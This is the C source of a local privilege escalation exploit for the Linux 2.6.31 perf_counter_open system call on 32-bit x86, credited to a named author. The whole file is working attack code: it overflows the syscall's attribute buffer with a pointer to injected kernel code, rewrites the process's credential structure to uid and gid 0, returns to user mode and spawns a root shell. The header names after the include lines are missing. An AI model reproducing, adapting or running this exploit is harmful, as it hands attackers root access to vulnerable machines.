/* Linux 2.6.31 perf_counter_open exploit on x86 32bits. Written by xipe@redstack.net. For more info see http://redstack.net/blog/2009/09/24/linux-kernel-2631-perf_counter_open-exploit */ #include #include #include #include #include #include #include #include #include #define __NR_perf_counter_open 336 #define ALIGN(x,a) __ALIGN_MASK(x,(typeof(x))(a)-1) #define __ALIGN_MASK(x,mask) (((x)+(mask))&~(mask)) #define PTR_ALIGN(p, a) ((typeof(p))ALIGN((unsigned long)(p), (a))) static pid_t uid; static gid_t gid; unsigned long taskstruct[1024]; char exit_stack[1024 * 1024]; unsigned int my_syscall(unsigned int nb, unsigned int arg1, unsigned int arg2, unsigned int arg3, unsigned int arg4, unsigned int arg5) { unsigned int ret; __asm__ ( "mov %1, %%eax ;" "mov %2, %%ebx ;" "mov %3, %%ecx ;" "mov %4, %%edx ;" "mov %5, %%esi ;" "mov %6, %%edi ;" "int $0x80 ;" "mov %%eax, %0 ;" : "=r" (ret) : "m" (nb), "m" (arg1), "m" (arg2), "m" (arg3), "m" (arg4), "m" (arg5) ); return ret; } static int mystrlen(char *s) { char *start = s; while (*s) s++; return (s - start); } static inline void spawn_shell() { static char *s = "Starting shell\n"; static char *t[] = {"/bin/sh", 0}; my_syscall(SYS_write, 1, (unsigned int)s, mystrlen(s), 0, 0); my_syscall(SYS_execve, (unsigned int)*t, (unsigned int)t, 0, 0, 0); } #define USER_CS 0x73 #define USER_SS 0x7b #define USER_FL 0x246 #define STACK(x) (x + sizeof(x) - 80) static void exit_kernel() { __asm__ __volatile__ ( "movl %0, 0x10(%%esp) ;" "movl %1, 0x0c(%%esp) ;" "movl %2, 0x08(%%esp) ;" "movl %3, 0x04(%%esp) ;" "movl %4, 0x00(%%esp) ;" "iret" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), "i" (USER_CS), "r" (spawn_shell) ); } static inline void *get_stack_top() { void *stack; __asm__ __volatile__ ( "movl $0xffffe000,%%eax ;" "andl %%esp, %%eax ;" "movl %%eax, %0 ;" : "=r" (stack) ); return stack; } static inline void *get_current() { return *(void **)get_stack_top(); } static void update_cred() { uint32_t i; uint32_t *task = get_current(); /* Pointer to the task_struct */ uint32_t *cred = 0; for (i = 0; i < 1024; i++) { taskstruct[i] = task[i]; cred = (uint32_t *)task[i]; if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) { cred++; /* Get ride of the cred's 'usage' field */ if (cred[0] == uid && cred[1] == gid && cred[2] == uid && cred[3] == gid && cred[4] == uid && cred[5] == gid && cred[6] == uid && cred[7] == gid) { /* Get root */ cred[0] = cred[2] = cred[4] = cred[6] = 0; cred[1] = cred[3] = cred[5] = cred[7] = 0; break; } } } } void kernel_code() { update_cred(); exit_kernel(); } #define SIZEOF_ATTR 64 #define BUFFER_LEN 128 void start() { uint32_t *attr = malloc(BUFFER_LEN); uint32_t *stack_overflow = (void *)attr + SIZEOF_ATTR; uint32_t *aligned_overflow = PTR_ALIGN(stack_overflow, sizeof(unsigned long)); memset(attr, 0, SIZEOF_ATTR); /* size is the second u32 in the struct */ attr[1] = 128; while (stack_overflow < attr + (BUFFER_LEN / sizeof (*attr))) { *stack_overflow = (uint32_t)kernel_code; stack_overflow ++; } /* then put 0s where we need them ... */ while (aligned_overflow < attr + (BUFFER_LEN / sizeof (*attr))) { *aligned_overflow = 0; aligned_overflow += 4; } syscall(__NR_perf_counter_open, attr, 0, 0, 0, 0); } int main() { uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid); start(); }